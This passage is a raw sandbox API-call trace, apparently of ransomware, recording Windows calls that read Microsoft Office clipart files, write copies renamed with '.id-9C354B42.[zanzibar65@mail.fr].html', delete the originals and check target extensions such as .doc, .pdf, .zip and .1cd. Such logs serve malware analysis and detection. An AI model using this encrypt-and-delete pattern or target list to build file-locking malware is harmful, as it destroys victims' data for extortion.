dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.183] SetEndOfFile (hFile=0x38c) returned 1 [0273.186] CloseHandle (hObject=0x38c) returned 1 [0273.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0273.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.186] lstrlenW (lpString=".doc") returned 4 [0273.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString=".docx") returned 5 [0273.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.187] lstrlenW (lpString=".pdf") returned 4 [0273.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString=".xls") returned 4 [0273.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.187] lstrlenW (lpString=".xlsx") returned 5 [0273.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.187] lstrlenW (lpString=".ppt") returned 4 [0273.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.187] lstrlenW (lpString=".zip") returned 4 [0273.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.187] lstrlenW (lpString=".rar") returned 4 [0273.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString=".bz2") returned 4 [0273.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString=".7z") returned 3 [0273.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.187] lstrlenW (lpString=".dbf") returned 4 [0273.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.187] lstrlenW (lpString=".1cd") returned 4 [0273.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.187] lstrlenW (lpString=".jpg") returned 4 [0273.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.188] lstrlenW (lpString=".doc") returned 4 [0273.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString=".docx") returned 5 [0273.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.188] lstrlenW (lpString=".pdf") returned 4 [0273.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString=".xls") returned 4 [0273.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.188] lstrlenW (lpString=".xlsx") returned 5 [0273.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.188] lstrlenW (lpString=".ppt") returned 4 [0273.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.188] lstrlenW (lpString=".zip") returned 4 [0273.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.188] lstrlenW (lpString=".rar") returned 4 [0273.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString=".bz2") returned 4 [0273.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString=".7z") returned 3 [0273.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.188] lstrlenW (lpString=".dbf") returned 4 [0273.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.188] lstrlenW (lpString=".1cd") returned 4 [0273.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63 [0273.188] lstrlenW (lpString=".jpg") returned 4 [0273.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.189] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.189] lstrlenW (lpString="FD00455_.WMF") returned 12 [0273.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.189] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=8926) returned 1 [0273.189] CloseHandle (hObject=0x38c) returned 1 [0273.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20 [0273.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.189] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.189] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.190] GetLastError () returned 0x0 [0273.191] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x22de, lpOverlapped=0x0) returned 1 [0273.192] WriteFile (in: hFile=0x380, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0273.193] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.193] WriteFile (in: hFile=0x380, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.193] SetEndOfFile (hFile=0x380) returned 1 [0273.194] CloseHandle (hObject=0x380) returned 1 [0273.194] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.194] SetEndOfFile (hFile=0x38c) returned 1 [0273.196] CloseHandle (hObject=0x38c) returned 1 [0273.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0273.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.197] lstrlenW (lpString=".doc") returned 4 [0273.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.197] lstrlenW (lpString=".docx") returned 5 [0273.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.197] lstrlenW (lpString=".pdf") returned 4 [0273.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.197] lstrlenW (lpString=".xls") returned 4 [0273.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.197] lstrlenW (lpString=".xlsx") returned 5 [0273.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.197] lstrlenW (lpString=".ppt") returned 4 [0273.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.197] lstrlenW (lpString=".zip") returned 4 [0273.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.197] lstrlenW (lpString=".rar") returned 4 [0273.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.197] lstrlenW (lpString=".bz2") returned 4 [0273.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.197] lstrlenW (lpString=".7z") returned 3 [0273.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.197] lstrlenW (lpString=".dbf") returned 4 [0273.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.197] lstrlenW (lpString=".1cd") returned 4 [0273.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.198] lstrlenW (lpString=".jpg") returned 4 [0273.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.198] lstrlenW (lpString=".doc") returned 4 [0273.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString=".docx") returned 5 [0273.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.198] lstrlenW (lpString=".pdf") returned 4 [0273.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString=".xls") returned 4 [0273.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.198] lstrlenW (lpString=".xlsx") returned 5 [0273.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.198] lstrlenW (lpString=".ppt") returned 4 [0273.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.198] lstrlenW (lpString=".zip") returned 4 [0273.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.198] lstrlenW (lpString=".rar") returned 4 [0273.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString=".bz2") returned 4 [0273.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.198] lstrlenW (lpString=".7z") returned 3 [0273.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.199] lstrlenW (lpString=".dbf") returned 4 [0273.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.199] lstrlenW (lpString=".1cd") returned 4 [0273.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63 [0273.199] lstrlenW (lpString=".jpg") returned 4 [0273.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.199] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.199] lstrlenW (lpString="FD00459_.WMF") returned 12 [0273.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.199] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=17406) returned 1 [0273.199] CloseHandle (hObject=0x38c) returned 1 [0273.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0273.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.200] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.200] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.200] GetLastError () returned 0x0 [0273.200] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x43fe, lpOverlapped=0x0) returned 1 [0273.202] WriteFile (in: hFile=0x354, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x4400, lpOverlapped=0x0) returned 1 [0273.203] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.203] WriteFile (in: hFile=0x354, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.203] SetEndOfFile (hFile=0x354) returned 1 [0273.203] CloseHandle (hObject=0x354) returned 1 [0273.203] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.203] SetEndOfFile (hFile=0x38c) returned 1 [0273.206] CloseHandle (hObject=0x38c) returned 1 [0273.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0273.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.206] lstrlenW (lpString=".doc") returned 4 [0273.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.206] lstrlenW (lpString=".docx") returned 5 [0273.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.206] lstrlenW (lpString=".pdf") returned 4 [0273.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString=".xls") returned 4 [0273.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.207] lstrlenW (lpString=".xlsx") returned 5 [0273.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.207] lstrlenW (lpString=".ppt") returned 4 [0273.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.207] lstrlenW (lpString=".zip") returned 4 [0273.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.207] lstrlenW (lpString=".rar") returned 4 [0273.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString=".bz2") returned 4 [0273.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString=".7z") returned 3 [0273.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.207] lstrlenW (lpString=".dbf") returned 4 [0273.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.207] lstrlenW (lpString=".1cd") returned 4 [0273.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.207] lstrlenW (lpString=".jpg") returned 4 [0273.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.207] lstrlenW (lpString=".doc") returned 4 [0273.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString=".docx") returned 5 [0273.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.207] lstrlenW (lpString=".pdf") returned 4 [0273.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.207] lstrlenW (lpString=".xls") returned 4 [0273.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.208] lstrlenW (lpString=".xlsx") returned 5 [0273.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.208] lstrlenW (lpString=".ppt") returned 4 [0273.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.208] lstrlenW (lpString=".zip") returned 4 [0273.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.208] lstrlenW (lpString=".rar") returned 4 [0273.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.208] lstrlenW (lpString=".bz2") returned 4 [0273.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.208] lstrlenW (lpString=".7z") returned 3 [0273.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.208] lstrlenW (lpString=".dbf") returned 4 [0273.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.208] lstrlenW (lpString=".1cd") returned 4 [0273.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 63 [0273.208] lstrlenW (lpString=".jpg") returned 4 [0273.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.209] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.209] lstrlenW (lpString="FD00543_.WMF") returned 12 [0273.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.209] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x323ff1c | out: lpFileSize=0x323ff1c*=1472) returned 1 [0273.209] CloseHandle (hObject=0x38c) returned 1 [0273.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x20 [0273.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0273.209] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.209] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0273.210] GetLastError () returned 0x0 [0273.210] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x5c0, lpOverlapped=0x0) returned 1 [0273.211] WriteFile (in: hFile=0x354, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0x5d0, lpOverlapped=0x0) returned 1 [0273.212] ReadFile (in: hFile=0x38c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x323fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.212] WriteFile (in: hFile=0x354, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x323fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x323fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.212] SetEndOfFile (hFile=0x354) returned 1 [0273.212] CloseHandle (hObject=0x354) returned 1 [0273.213] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.213] SetEndOfFile (hFile=0x38c) returned 1 [0273.214] CloseHandle (hObject=0x38c) returned 1 [0273.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0273.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 63 [0273.215] lstrlenW (lpString=".doc") returned 4 [0273.215] 